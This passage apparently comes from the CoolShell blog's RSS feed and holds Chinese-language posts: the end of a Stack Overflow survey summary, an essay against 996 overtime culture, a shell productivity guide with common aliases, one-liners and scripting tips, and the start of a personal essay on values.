    • Python/Java/Shell 是后端开发主流语言的前三强,Python在今年超过了Java。这里让我比较好奇的是居然还有很多人用Shell,这估计跟运维有关,所以,Python的热可能也是通过运维和大数据相关。
    • +
    • 流行语言后,第二梯队的是 C# / PHP / C++ / TypeScript / C ,接下来的是: Ruby / Go / Swift / Kotlin /WebAssembly / Rust… 。但在最被程序员喜欢的编程语言中:Rust / Python / TypeScript / Koltin / WebAssembly / Swift / Go… 都是排在前几名的。程序语言每隔一段时间就会整出一些新的语言来,我们一定要明白新出来的东西主要是为了解决什么样的问题,不然很容易迷失。
    • +
    • 在后面还有一个编程语言的薪资图,我们可以看到,在上面被提过的这些个编程语言中,Go语言的薪资是最高的(这可能是因为Go语言写关键的系统级的中件间——因为Go语言正在成为云计算的第一编程语言),然后是Scala、Ruby、WebAssembly、Rust、Erlang、Shell、Python、Typescript……
    • +
    +

    通过这些个信息,我们可以看出主流技术、有潜力的技术,传统过气技术,以及相关薪资,对我们在选择编程语言上有一定的启示。

    +

    在后面,我们可以看到:

    +
      +
    • 在 Web 开发框架上,主流使用还是 jQuery, React.js,Angular.js 为最前面的三个前端开发框架。而被程序员所喜欢的则是 React.js,Vue.js,Express, Spring,程序员非常不喜欢 Drupal,jQuery,Ruby on Rails 和Angular.js……
    • +
    • 在其它开发框架/库/工具上,主流是Node.js、.NET、Pandas、Unity 3D、Tensorflow、Ansible、Cordova、Xamarin……而程序员比较喜欢的是.NET、Torch/PyTorch、Flutter、Pandas、Tensorflow、Node.js …
    • +
    • 在操作系统上,主流使用Linux、Windows、Docker、Android、AWS……,而程序员最喜欢的是Linux、Docker、Kubernetes、Raspberry Pi、AWS、MacOS、iOS……
    • +
    • 在数据库上,MySQL、PostgreSQL、MSSQL、SQLite、MongoDB、Redis、Elasticsearch是比较主流的,而程序员非常喜欢的是,Redis、PostgreSQL、Elasticsearch、Firebase、MongoDB……,程序员比较讨厌的是 Couchbase、Oracle、Cassandra、MySQL。
    • +
    +

    从这些个图表中,我们可以看到主流和有潜力的技术是什么,我们可以看到 Windows 的技术并没有过时,感觉似乎都有可能会卷土重来,但是,开源的技术来势凶凶,正在吞食整个软件业,不容小觑,Docker/Kubernetes无论是在主流应用上还是被程序员的喜好上都是非常猛的,而云平台的AWS开始成为标准平台技术……

    +

    接下来的开发工具中,我们可以看到:

    +
      +
    • Visual Studio Code 成为了最流行的开发工具。让我没有想到的是跟在后面的是 Notepad++(好久没用这个工具了,我得找回来用用了),而IntelliJ、Vim、Sublime Text排以后面。 Eclipse 和 Atom 动力不足,Emacs 开始变得小众了。
    • +
    • 程序员主要的开发平台还是Windows占了近1/2, MacOS和Linux随后,各占1/4。
    • +
    • 有38%的人使用容器技术做开发,30%的人使用容器做测试,在生产线上使用容器的有26%
    • +
    +

    看样子编程开发工具还是Visual Studio 和 IntelliJ的天下,MacOS/Linux正在抢Windows的开发市场

    +

    接下来,StackOverflow给了一个技术圈的图

    +

    +

    从上面这个图中,我们可以看以技术的几圈子:

    +
      +
    • Microsoft圈 – Windows、.NET、ASP.NET、C#、Azure、SQL Server
    • +
    • Java圈 – Java、Spring
    • +
    • 手机圈 – Android、 iOS、Kotlin、Swift、Firebase
    • +
    • 前端圈 – Javascript、React.js、Angular.js、PHP
    • +
    • 大数据圈 – Python、TensorFlow、Torch/PyTorch
    • +
    • 基础平台圈 – Linux、Shell、Vim、Docker、Kubernetes、Elasticsearch、Redis……
    • +
    • 其它圈子 – C/C++/汇编圈子、Ruby圈子、Hadoop/Spark圈子、……
    • +
    +

    看到谁的圈子大了吧,圈子大的并不代表技术实力强或是有前途,不过可以代表在那个圈子相关的关联技术,一方面,可以给你一些相关的参考,另一方面,整体可以让你看到全部的目前比较主流的技术。

    +

    第三部份 工作

    +

    在第三部份工作中,我们可以看到如下的一些数据:

    +
      +
    • 有3/4的程序员是全职的,10%左右的程序员是自由职业,6%左右的程序员是失业的,这个比例在北美、印度和欧洲都差不多。
    • +
    • 有1/3的人在过去一年内换过工作,1/4的人在过去1-2年间换过工作,1/3的人在2-4年换过工作。
    • +
    • 程序员找工作时,影响程序员的几个主要因素是:技术(编程语言、框架和使用的技术)、办公环境和公司文化、灵活的时间和安排、更专业的机会、远程工作……
    • +
    • 影响程序员工作的几大因素是:有干扰的工作环境、开会、要干一些和开发无关的事、人手不够、管理不够、工具不够、通勤时间……
    • +
    • 对于工程质量,有近70%的人有Code Review,而30%的则没有;有60%多的人有Unit Test,而不到40%的没有……
    • +
    +

    从工作中我们可以看到,程序员还是比较关心技术和公司文化的,换工作也是这个职业很正常的特性,他们并不喜欢被打扰,希望有足够的时间,而对于工程质量还是很有追求的。

    +

    最后用一张程序员的“每周工作时间” 来结束本文!

    +

    +

    祝大家快乐!

    +

    (全文完)

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/19307.html/feed + 19 + + +
    + + “努力就会成功” + https://coolshell.cn/articles/19271.html + https://coolshell.cn/articles/19271.html#comments + + + Wed, 17 Apr 2019 09:12:27 +0000 + + + + + https://coolshell.cn/?p=19271 + + Read More Read More

    ]]>
    + 那一年,我加入了某知名公司的某知名部门,在办公室中,我看到了到处都挂着——“努力就会成功”的条幅,这个部门中大多数员工的邮件签名都会有“努力就会成功”,我感到一种热血沸腾的气氛,这是我在多年工作来都没有感受到的,当时挺高兴地能和这样一群人工作,也没多想。直到有一天,我看到这些高级的软件工程师们把自己关在又挤又吵的会议室中,拼命地加班,真是拼命,周一到周日,每天早上10点到凌晨3点甚至凌晨5点,连国庆节都来上班,就在这样的环境和状态下,连续干了三个多月……上线前,QA找到了1000多个bug(你没看错,就是一千多个),最后这个项目用了1年多的时间来返工,本来一个6-8个月的项目,团队被打了鸡血想在3个月内完成,最终却花了近两年的时间来返工……(要知道,我以前在外国公司工作,外国老板看到团队在长时间加班会感到焦虑的,因为加班通常代表着有不好的事情正在发生……)

    +

    所以对此,我是有点看不懂的,看不懂的是,为什么这么一群聪明的人,放着明亮宽敞的办公桌不用,硬要挤在一个又窄又小又吵又热的小空间里工作,而且要这么透支地写那么重要的很关键的系统级的代码……这就好像,一架在一个小作坊里被人加班加点赶工出来的飞机,谁敢坐啊?!老实说,这群工程师真是很优秀的工程师,他们完全是可以做得更好的……但是却做出了如此蹩脚和糟糕的系统……他们说,这样坐在一起可以做到快速沟通,然而,我觉得这恰恰是一种没有章法的表现。

    +

    也是在这家公司,在这个项目烂尾一年前,公司感到了危机,CEO号召全体996,举全公司之力从董事长到下面基层员工对抗外部所谓的威胁,有的部门为了表现,甚至997,然而,在一年后,做出了一个烂得不能再烂的软件,最终以失败告终,很多人包括CEO也因此下课……

    +

    +

    这是最让我看不懂的一个事了,为什么这么如此成功的公司的高级管理层会做出这样的事情,而且还制定这样的政策……把这么优秀的员工以及公司大把把数以亿计的钞票投入到这种错误的路线上来,而且还拼命地加班…… 他们脑子里在想什么呢?难道他们真的以为,有足够多的钱,足够多的人,然后拼命加班,就能打败对手吗?……

    +

    你喜欢这句话吗?

    +

    “努力就会成功”,“加班就会有成就”,“勤劳就会致富”……是这样吗?仔细思考一些,这些话存在严重的逻辑问题,我们在高中的时候学过“充分条件”,“必要条件”和“充要条件”!“努力就会成功”这句话,把“努力”说成了“成功”的充要条件,这不就是错的吗?努力只是成功的必要条件之一。你在错误的方向或是格局很小的方向上努力,能有用么?你努力地要饭,你努力地当搬运工,你努力地打骚扰电话销卖保险…… 在错误和小格局的方向上努力,你还觉得努力还有用吗?

    +

    但是很多人是很喜欢“努力就会成功”这句话,这类人也很喜欢看很多小人物通过自己的努力变成成功人士的励志的故事,为什么这种故事会被很多人喜欢甚至感动。因为这很符合大众的心理诉求,这种诉求其实就是一种只要使力只要拼命了就可以成功的心理诉求,因为这类人基本上都是能力有限,不知道怎么提升自己的人,当他们看到只要拼命使力就可以成功的观点时,他们就会有共鸣,就会感到,不用学习那些晦涩难懂高级的知识,不用掌握和练习哪些高级技能,自己只需要在低级的事情上拼命和努力,加更多的班和干更多活,自己就会像电影中的那些小人物一样,总有一天会成功的……

    +

    “努力就会成功,勤劳就会致富”,不但符合那些低级管理者的利益诉求,同样符合那些能力不足不愿意学习和成长的人的诉求。因为,他们混淆了行动与进展,忙碌与多产,他们以为能靠蛮力可以弥补思维上的惰性,靠拼命可以弥补能力上的不足……

    +

    喜欢或认同这句话的人基本是能力上有问题的人,这类适合做劳动密集型的事。不信你可以试试看,当一件事的难度超过一定程度的时候,那些聪明的人会找到更省力的方法,而能力上有问题的,还是在那使蛮力。

    +

    我成长的过程

    +

    回想我的过去,我在2001年那年被外包到了某银行做开发,标准的9/10/6,封闭开发,就是用C语言在AIX系统里堆一些银行的交易逻辑,老实说,这个过程并没有让我学到什么东西,也没有什么成长,我每天想的就是我要离开这个地方,所以,我在晚上10点以后开始看书学习到11点半,并使用工作环境动手实践书上的代码,一年后,我精读了《TCP/IP详解》《Windows核心编程》《Java编程思想》等书。然后,我找到一份外企业的工作,月薪一下翻了三倍。

    +

    在外企不加班,但是当时的外企压力也很大,对代码的质量要求的也很高,来的第二个月,就因为代码写的太差,差点被开掉,所以,为了能够达到更高的标准,我自然也是很努力的,在周末甚至黄金周节假日我哪里都不去,我就去公司,但我不是在公司上班,因为我没有自己的电脑,所以,我只能蹭公司的电脑,这导致办公楼的管理人员经常打电话给我让我帮他在周末的时候管理物业…… 在这家公司是我成长最快的时候,然而,并不是因为我的努力,而是因为有很多比我牛逼的人在Code Review上给我大量的帮助,在项目上帮助我,我的努力学习虽然也有作用,但更多的是高手对我的帮助

    +

    再回想一下我以前在职场上的很多关键点,不是因为我加班了,而是因为在某些关键问题上,我跳出来解决了其它人都解决不了的问题,我解决了一个网络通信莫名其妙的断掉的问题,我把性能优化了很多倍,我解决了一个不能重现的一个困扰团队3个星期的问题(其实就是大家没有认真读文档),我在入职一个公司的第一天里就为这个公司解决了一个历史遗留问题……在Platform,我每周解决了bug数是全公司的其它人的总和还要多(从不加班),在路透,我带团队优化的系统的性能是全球所有研发中心最高的,在亚马逊,两周打通美国和德国的订单和商品列表系统……我也有失败的时候,而我失败的时候,总是因为我搞不定事,即便是加班拼命努力也无济于事!是的,我的职业生涯的成长,最根本的不是你有多努力,有多勤奋,而是你能搞定很多人搞不定的事!

    +

    你不信你可以看看你们公司那些不用加班,就算什么也不干,公司也要花钱养的技术人员,他们的成功一定不是努力和加班加出来的,你会发现这些人拼的不是谁干的多,而是谁解决的问题更有难

    +

    我加班996的时候,从来都不是我成长最快的时候,而我和一群牛人在解决难题的时才是我成长最快的时候。

    +

    Work Smart

    +

    2015年因为父亲病危要动手术,所以我不能工作在家照顾父亲。于是我就成为了一个自由职业者,帮很多公司解决一些技术问题,好多都是高并发和系统稳定性的问题,有一些是分布式架构的运维的问题,还有一些是工程管理和企业文化问题……有一些小公司的单体架构在业务上一推广就宕机了,于是把我叫过去,我在生产线上直接re-arch,用一些非常规的手段,1-2天就把性能救过来了…… 还有就是解决一些点状的技术问题,还帮用户做一些design/code review……,有70%工作是真正的按劳取酬,也就是先把问题解决了再谈要收多少钱,那段时间我出卖的不是我的劳动力,而是我的技能,所以,反而比打工挣得多多了,而且还比较轻闲……

    +

    有时候,我还调侃到,你在大公司里一天写上万行代码,拼命地加班,你信不信,我只用写几百行代码就挣得比你多?同样是一个简单的 for-loop 语句,有人写的就值1万元一行,而你写的则一文不值。关键不在于谁写的代码多,关键在于我们解决了什么样的问题。你千万不要以为只要付你足够的钱,你就可以996,让你干什么都可以,然而当你自己把自己当成劳动力的时候,你也就只是一个像牲口一样的行事了!

    +

    +

    这就好像算法一样,你那个O(n^2)的递归穷举算法,再怎么样也干不过我的O(n)的动态规划的算法。

    +

    现在我拿了投资在创业,一开始帮助各大企业建高并发高可用云化架构的公司,现在还给企业提供金融和营销能力,我跟客户谈业务的时候,基本不是因为我有多加班多努力地做方案,而是我能一针见血地指出用户的问题,帮用户解决问题。我在很多地方都见到阿里、蚂蚁、华为、HP……,一个小创业公司跟他们竞争真的很难,但我知道,要能竞争过这些大公司,这根本就不是能够通过加班996或是拼命努力就能搞定的,我必需要使用更好的方式,所以,除了更好地站在用户的立场,能够给用户制定更符合用户的技术方案之外,我必需做到我的技术方案不比这些大公司的差,而这一点,完全不是加班、努力或是勤奋能出来的,这是需要靠自己的经验、学习能力、归纳思考、和与更多牛人交流才出的来的……当我给某银行CIO介绍完我的分布式系统的方案后,CIO给我微微鞠躬说:“过去一两年,我听过几乎所有国内外产商跟我讲的分布式的方案,你的是我听过的最好的方案!谢谢你!”,当我给某省电信行业公司讲了一下DevOps的方案后,老总对我说:“你们真的是做事的人!”,当用户来问我:“你们的API网关是怎么写的?为什么运行的这么稳定?”……这些话都是让我很心里很暖的话……当然,我也有被骂的时候,也有失败的时候,但基本上来说,我无法通过努力工作改善我思维的不足……

    +

    我们学计算机当程序员最大的福气不是可以到大公司里加班和996,而是我们生活在了第三次工业革命的信息化时代,这才是最大的福气,所以,我们应该努力地提升自己,而不是把自己当劳动力一样的卖了!在这样的一个时代,你要做的不是通过加班和拼命来跪着挣钱,而是通过技能来躺着挣钱……

    +

    (全文完)

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/19271.html/feed + 97 + + +
    + + 打造高效的工作环境 – Shell 篇 + https://coolshell.cn/articles/19219.html + https://coolshell.cn/articles/19219.html#comments + + + Sun, 17 Mar 2019 13:53:01 +0000 + + + + + + + + + https://coolshell.cn/?p=19219 + + Read More Read More

    ]]>
    +

    注:本文由雷俊(Javaer/Emacser)和我一起编辑,所以文章版权归雷俊与我共同所有,转载者必需注明出处和我们两位作者。原文最早发于酷壳微信公众号,后来我又做了一些修改,再发到博客这边。

    +

    程序员是一个很懒的群体,总想着能够让代码为自己干活,他们不断地把工作生活中的一些事情用代码自动化了,从而让整个社会的效率运作地越来越高。所以,程序员在准备去优化这个世界的时候,都会先要优化自己的工作环境,是所谓“工欲善其事,必先利其器”。

    +

    我们每个程序员都应该打造一套让自己更为高效的工作环境。那怕就是让你少输入一次命令,少按一次键,少在鼠标和键盘间切换一次,都会让程序员的工作变得更为的高效。所以,程序员一般需要一台性能比较好,不会因为开了太多的网页或程序就卡得不行的电脑,还要配备多个显示器,一个显示器写代码,一个查文档,一个测试运行结果,而不必在各种窗口来来回回的切换……在大量的窗口间切换经常会迷路,而且也容易出错(分不清线上或测试环境)……

    +

    除了硬件上的装备,软件上也是能够提升程序员生产力的地方,在软件层面提升程序员生产力的东西有一个很重要的事就是命令行和脚本,使用鼠标和图形界面则会大大降低程序员的生产力。酷壳以前也写过一些,如《你可能不知道的Shell》和《 应该知道的Linux技巧》,但是Unix/Linux Shell就是一个大宝库,怎么写也写不完,不然,怎么会有“Where is the Shell, there is a way”。

    +

    +

    命令行

    +

    在不同的操作系统下,都有着很不错的命令行工具,比如 Mac 下的 Iterm2,Linux 下的原生命令行,如果你是在 Windows 下工作,问题也不大,因为 Windows 下现在有了 WSL。WSL 提供了一个由微软开发的Linux兼容的内核接口(不包含Linux内核代码),然后可以在其上运行GNU用户空间,例如 Ubuntu,openSUSE,SUSE Linux Enterprise Server,Debian和Kali Linux。这样的用户空间可能包含 Bash shell 和命令语言,使用本机 GNU/Linux 命令行工具(sed,awk 等),编程语言解释器(Ruby,Python 等),甚至是图形应用程序(使用主机端的X窗口系统)。

    +

    使用命令行可以完成所有日常的操作,新建文件夹(mkdir)、新建文件(touch)、移动(mv)、复制(cp)、删除(rm)等等。而且使用 Linux/Unix 命令行最好的方式是可以用 awksedgrepxargsfindsort 等等这样的命令,然后用管道把其串起来,就可以完成一个你想要的功能,尤其是一些简单的数据统计功能。这是Linux命令行不可比拟的优势。比如:

    +
      +
    • 查看连接你服务器 top10 用户端的 IP 地址:
    • +
    +

    netstat -nat | awk '{print $5}' | awk -F ':' '{print $1}' | sort | uniq -c | sort -rn | head -n 10

    +
      +
    • 查看一下你最常用的10个命令:
    • +
    +

    cat .bash_history | sort | uniq -c | sort -rn | head -n 10 (or cat .zhistory | sort | uniq -c | sort -rn | head -n 10

    +

    (注:awk 和 sed 是两大神器,所以,我以前的也有两篇文章来介绍它们——《awk简明教程》和《sed简明教程》,你可以前往一读)

    +

    在命令行中使用 alias 可以将使用频率很高命令或者比较复杂的命令合并成一个命令,或者修改原生的命令。

    +

    下面这几个命令,可能是你天天都在敲的。所以,你应该设置成 alias 来提高效率

    +

    +alias nis="npm install --save "
    +alias svim='sudo vim'
    +alias mkcd='foo(){ mkdir -p "$1"; cd "$1" }; foo '
    +alias install='sudo apt get install'
    +alias update='sudo apt-get update; sudo apt-get upgrade'
    +alias ..="cd .."
    +alias ...="cd ..; cd .."
    +alias www='python -m SimpleHTTPServer 8000'
    +alias sock5='ssh -D 8080 -q -C -N -f user@your.server'
    +

    +

    你还可以参考如下的一些文章,看看别人是怎么用好 alias 的

    + +

    命令行中除了原生的命令之外,还有很多可以提升使用体验的工具。下面罗列一些很不错的命令,把原生的命令增强地很厉害:

    +
      +
    • fasd 增强了 cd 命令 。
    • +
    • bat 增强了 cat 命令 。如果你想要有语法高亮的 cat,可以试试 ccat 命令。
    • +
    • exa 增强了 ls 命令,如果你需要在很多目录上浏览各种文件 ,ranger 命令可以比 cd 和 cat 更有效率,甚至可以在你的终端预览图片。
    • +
    • fd 是一个比 find 更简单更快的命令,他还会自动地忽略掉一些你配置在 .gitignore 中的文件,以及 .git 下的文件。
    • +
    • fzf 会是一个很好用的文件搜索神器,其主要是搜索当前目录以下的文件,还可以使用 fzf --preview 'cat {}'边搜索文件边浏览内容。
    • +
    • grep 是一个上古神器,然而,ackag 和 rg 是更好的grep,和上面的 fd一样,在递归目录匹配的时候,会使用你配置在 .gitignore 中的规则。
    • +
    • rm 是一个危险的命令,尤其是各种 rm -rf …,所以,trash 是一个更好的删除命令。
    • +
    • man 命令是好读文档的命令,但是man的文档有时候太长了,所以,你可以试试 tldr 命令,把文档上的一些示例整出来给你看。
    • +
    • 如果你想要一个图示化的ping,你可以试试 prettyping 。
    • +
    • 如果你想搜索以前打过的命令,不要再用 Ctrl +R 了,你可以使用加强版的 hstr  。
    • +
    • htop  是 top 的一个加强版。然而,还有很多的各式各样的top,比如:用于看IO负载的 iotop,网络负载的 iftop, 以及把这些top都集成在一起的 atop
    • +
    • ncdu  比 du 好用多了用。另一个选择是 nnn
    • +
    • 如果你想把你的命令行操作建录制成一个 SVG 动图,那么你可以尝试使用 asciinema 和 svg-trem 。
    • +
    • httpie 是一个可以用来替代 curlwget 的 http 客户端,httpie 支持 json 和语法高亮,可以使用简单的语法进行 http 访问: http -v github.com
    • +
    • tmux 在需要经常登录远程服务器工作的时候会很有用,可以保持远程登录的会话,还可以在一个窗口中查看多个 shell 的状态。
    • +
    • Taskbook 是可以完全在命令行中使用的任务管理器 ,支持 ToDo 管理,还可以为每个任务加上优先级。
    • +
    • sshrc 是个神器,在你登录远程服务器的时候也能使用本机的 shell 的 rc 文件中的配置。
    • +
    • goaccess  这个是一个轻量级的分析统计日志文件的工具,主要是分析各种各样的 access log。
    • +
    +

    关于这些增加命令,主要是参考自下面的这些文章

    +
      +
    1. 10 Tools To Power Up Your Command Line
    2. +
    3. 5 More Tools To Power Up Your Command Line (Part 2 Of Series)
    4. +
    5. Power Up Your Command Line, Part 3
    6. +
    7. Power Up Your Command Line
    8. +
    9. Hacker Tools
    10. +
    +

    Shell 和脚本

    +

    shell 是可以与计算机进行高效交互的文本接口。shell 提供了一套交互式的编程语言(脚本),shell的种类很多,比如 shbashzsh 等。

    +

    shell 的生命力很强,在各种高级编程语言大行其道的今天,很多的任务依然离不开 shell。比如可以使用 shell 来执行一些编译任务,或者做一些批处理任务,初始化数据、打包程序等等。

    +

    现在比较流行的是 zsh + oh-my-zsh + zsh-autosuggestions 的组合,你也可以试试看。其中 zsh 和 oh-my-zsh 算是常规操作了,但是 zsh-autosuggestions 特别有用,可以超级快速的帮你补全你输入过的命令,让命令行的操作更加高效。

    +

    另外,fish 也是另外一个牛逼的shell,比如:命令行自动完成(根据历史记录),命令行命令高亮,当你要输入命令行参数的时候,自动提示有哪些参数…… fish在很多地方也是用起来很爽的。和上面的 oh-my-zsh 有点不分伯仲了。

    +

    你也许会说,用 Python 脚本或 PHP 来写脚本会比 Shell 更好更没有 bug,但我要申辩一下:

    +
      +
    • 其一,如果你有一天要维护线上机器的时候,或是到了银行用户的系统(与外网完全隔离,而且服务器上没有安装 Python/PHP 或是他们的的高级库,那么,你只有 Shell 可以用了)。
    • +
    • 其二,而且,如果要跟命令行交互很多的话,Shell 是不二之选,试想一下,如果你要去 100 台远程的机器上查access.log 日志中有没有某个错误,完成这个工作你是用 PHP/Python 写脚本快还是用 Shell 写脚本快呢?
    • +
    +

    所以,我们还要学会只使用传统的grep/awk/sed等等这些POSIX的原生的系统默认安装的命令

    +

    当然,要写好一个脚本并不容易,下面有一些小模板供你参考:

    +

    处理命令行参数的一个样例

    +

    while [ "$1" != "" ]; do
    +    case $1 in
    +        -s  )   shift	
    +		SERVER=$1 ;;  
    +        -d  )   shift
    +		DATE=$1 ;;
    +	--paramter|p ) shift
    +		PARAMETER=$1;;
    +        -h|help  )   usage # function call
    +                exit ;;
    +        * )     usage # All other parameters
    +                exit 1
    +    esac
    +    shift
    +done 

    +

    命令行菜单的一个样例

    +

    +#!/bin/bash
    +# Bash Menu Script Example
    +
    +PS3='Please enter your choice: '
    +options=("Option 1" "Option 2" "Option 3" "Quit")
    +select opt in "${options[@]}"
    +do
    +    case $opt in
    +        "Option 1")
    +            echo "you chose choice 1"
    +            ;;
    +        "Option 2")
    +            echo "you chose choice 2"
    +            ;;
    +        "Option 3")
    +            echo "you chose choice $REPLY which is $opt"
    +            ;;
    +        "Quit")
    +            break
    +            ;;
    +        *) echo "invalid option $REPLY";;
    +    esac
    +done
    +

    +

    颜色定义,你可以使用 echo -e "${Blu}blue ${Red}red ${RCol}etc...." 进行有颜色文本的输出

    +

    +RCol='\e[0m'    # Text Reset
    +
    +# Regular           Bold                Underline           High Intensity      BoldHigh Intens     Background          High Intensity Backgrounds
    +Bla='\e[0;30m';     BBla='\e[1;30m';    UBla='\e[4;30m';    IBla='\e[0;90m';    BIBla='\e[1;90m';   On_Bla='\e[40m';    On_IBla='\e[0;100m';
    +Red='\e[0;31m';     BRed='\e[1;31m';    URed='\e[4;31m';    IRed='\e[0;91m';    BIRed='\e[1;91m';   On_Red='\e[41m';    On_IRed='\e[0;101m';
    +Gre='\e[0;32m';     BGre='\e[1;32m';    UGre='\e[4;32m';    IGre='\e[0;92m';    BIGre='\e[1;92m';   On_Gre='\e[42m';    On_IGre='\e[0;102m';
    +Yel='\e[0;33m';     BYel='\e[1;33m';    UYel='\e[4;33m';    IYel='\e[0;93m';    BIYel='\e[1;93m';   On_Yel='\e[43m';    On_IYel='\e[0;103m';
    +Blu='\e[0;34m';     BBlu='\e[1;34m';    UBlu='\e[4;34m';    IBlu='\e[0;94m';    BIBlu='\e[1;94m';   On_Blu='\e[44m';    On_IBlu='\e[0;104m';
    +Pur='\e[0;35m';     BPur='\e[1;35m';    UPur='\e[4;35m';    IPur='\e[0;95m';    BIPur='\e[1;95m';   On_Pur='\e[45m';    On_IPur='\e[0;105m';
    +Cya='\e[0;36m';     BCya='\e[1;36m';    UCya='\e[4;36m';    ICya='\e[0;96m';    BICya='\e[1;96m';   On_Cya='\e[46m';    On_ICya='\e[0;106m';
    +Whi='\e[0;37m';     BWhi='\e[1;37m';    UWhi='\e[4;37m';    IWhi='\e[0;97m';    BIWhi='\e[1;97m';   On_Whi='\e[47m';    On_IWhi='\e[0;107m';
    +

    +

    取当前运行脚本绝对路径的示例:(注:Linux下可以用 dirname $(readlink -f $0) )

    +

    +FILE="$0"
    +while [[ -h ${FILE} ]]; do
    +    FILE="`readlink "${FILE}"`"
    +done
    +pushd "`dirname "${FILE}"`" > /dev/null
    +DIR=`pwd -P`
    +popd > /dev/null
    +

    +

    如何在远程服务器运行一个本地脚本

    +

    #无参数
    +ssh user@server 'bash -s' < local.script.sh
    +
    +#有参数
    +ssh user@server ARG1="arg1" ARG2="arg2" 'bash -s' < local_script.sh
    +

    +

    如何检查一个命令是否存在,用 which 吗?最好不要用,因为很多操作系统的 which 命令没有设置退出状态码,这样你不知道是否是有那个命令。所以,你应该使用下面的方式。

    +

    +# POSIX 兼容:
    +command -v [the_command]
    +
    +# bash 环境:
    +hash [the_command]
    +type [the_command]
    +
    +# 示例:
    +gnudate() {
    +    if hash gdate 2> /dev/null; then
    +        gdate "$@"
    +    else
    +        date "$@"
    +    fi
    +}
    +

    +

    然后,如果要写出健壮性更好的脚本,下面是一些相关的技巧:

    +
      +
    • 使用 -e 参数,如:set -e 或是 #!/bin/sh -e,这样设置会让你的脚本出错就会停止运行,这样一来可以防止你的脚本在出错的情况下还在拼拿地干活停不下来。
    • +
    • 使用 -u 参数,如: set -eu,这意味着,如果你代码中有变量没有定义,就会退出。
    • +
    • 对一些变理,你可以使用默认值。如:${FOO:-'default'}
    • +
    • 处理你代码的退出码。这样方便你的脚本跟别的命令行或脚本集成。
    • +
    • 尽量不要使用 ; 来执行多个命令,而是使用 &&,这样会在出错的时候停止运行后续的命令。
    • +
    • 对于一些字符串变量,使用引号括起,避免其中有空格或是别的什么诡异字符。
    • +
    • 如果你的脚有参数,你需要检查脚本运行是否带了你想要的参数,或是,你的脚本可以在没有参数的情况下安全的运行。
    • +
    • 为你的脚本设置 -h 和 --help 来显示帮助信息。千万不要把这两个参数用做为的功能。
    • +
    • 使用 $() 而不是 “ 来获得命令行的输出,主要原因是易读。
    • +
    • 小心不同的平台,尤其是 MacOS 和 Linux 的跨平台。
    • +
    • 对于 rm -rf 这样的高危操作,需要检查后面的变量名是否为空,比如:rm -rf $MYDIDR/* 如果 $MYDIR为空,结果是灾难性的。
    • +
    • 考虑使用 “find/while” 而不是 “for/find”。如:for F in $(find . -type f) ; do echo $F; done 写成 find . -type f | while read F ; do echo $F ; done 不但可以容忍空格,而且还更快。
    • +
    • 防御式编程,在正式执行命令前,把相关的东西都检查好,比如,文件目录有没有存在。
    • +
    +

    你还可以使用ShellCheck 来帮助你检查你的脚本。

    + +

    最后推荐一些 Shell 和脚本的参考资料。

    +

    各种有意思的命令拼装,一行命令走天涯:

    + +

    下面是一些脚本集中营,你可以在里面淘到各种牛X的脚本:

    + +

    甚至写脚本都可以使用框架:

    + +

    Google的Shell脚本的代码规范:

    + +

    最后,别忘了几个和shell有关的索引资源:

    + +

    最后,如果你还有什么别的更好的玩的东西,欢迎在评论区留言,或是到 coolshellx/ariticles @ github 修改本文。

    +

    (全文完)

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/19219.html/feed + 42 + + +
    + + 谈谈我的“三观” + https://coolshell.cn/articles/19085.html + https://coolshell.cn/articles/19085.html#comments + + + Tue, 26 Feb 2019 16:02:07 +0000 + + + + https://coolshell.cn/?p=19085 + + Read More Read More

    ]]>
    + 也许是人到了四十多了,敢写这么大的命题,我也醉了,不过,我还是想把我的想法记录下来,算是对我思考的一个snapshot,给未来的我看看,要么被未来的我打脸,要么打未来我的脸。无论怎么样,我觉得对我自己都很有意义。注意,这篇文章是长篇大论。

    +

    三观是世界观、人生观和价值观,

    +
      +
    • 世界观代表你是怎么看这个世界的。是左还是右,是激进还是保守,是理想还是现实,是乐观还是悲观……
    • +
    • 人生观代表你要想成为什么样的人。是成为有钱人,还是成为人生的体验者,是成为老师,还是成为行业专家,是成为有思想的人,还是成为有创造力的人……
    • +
    • 价值观则是你觉得什么对你来说更重要。是名是利,是过程还是结果,是付出还是索取,是国家还是自己,是家庭还是职业……
    • +
    +

    人的三观其实是会变的,回顾一下我的过去,我感觉我的三观至少有这么几比较明显的变化,学生时代、刚走上社会的年轻时代,三十岁后的时代,还有现在。估计人都差不多吧……

    +
      +
    • 学生时代的三观更多的是学校给的,用各种标准答案给的,是又红又专的
    • +
    • 刚走上社会后发现完全不是这么一回事,但学生时代的三观根深蒂固,三观开始分裂,内心开始挣扎
    • +
    • 三十岁后,不如意的事越来越多,对社会越来越了解,有些人屈从现实,有些人不服输继续奋斗,而有些人展露才能开始影响社会,而分裂的三观开始收敛,我属于还在继续奋斗的人。
    • +
    • 四十岁时,经历过的事太多,发现留给自己的时间不多,世界太复杂,而还有好多事没做,从而变得与世无争,也变得更为地自我。
    • +
    +

    +

    面对世界

    +

    年轻的时候,抵制过日货,虽然没上过街,但是也激动过,一次是1999南斯拉夫大使馆被炸,一次是2005反日示威,以前,我也是一个爱国愤青。但是后来,有过各种机会出国长时间生活工作,加拿大、英国、美国、日本……随着自己的经历和眼界的开阔,自己的三观自己也随着有了很多的变化,发现有些事并不是自己一开始所认识的那样,而且还是截然相反的。我深深感觉到,要有一个好的世界观,你需要亲身去经历和体会这个世界,而不是听别人说。所以,当我看到身边的人情绪激动地要抵制这个国家,搞死那个民族的时候,我都会建议他去趟那个国家最好在在那个国家呆上一段时间,亲自感受一下。

    +

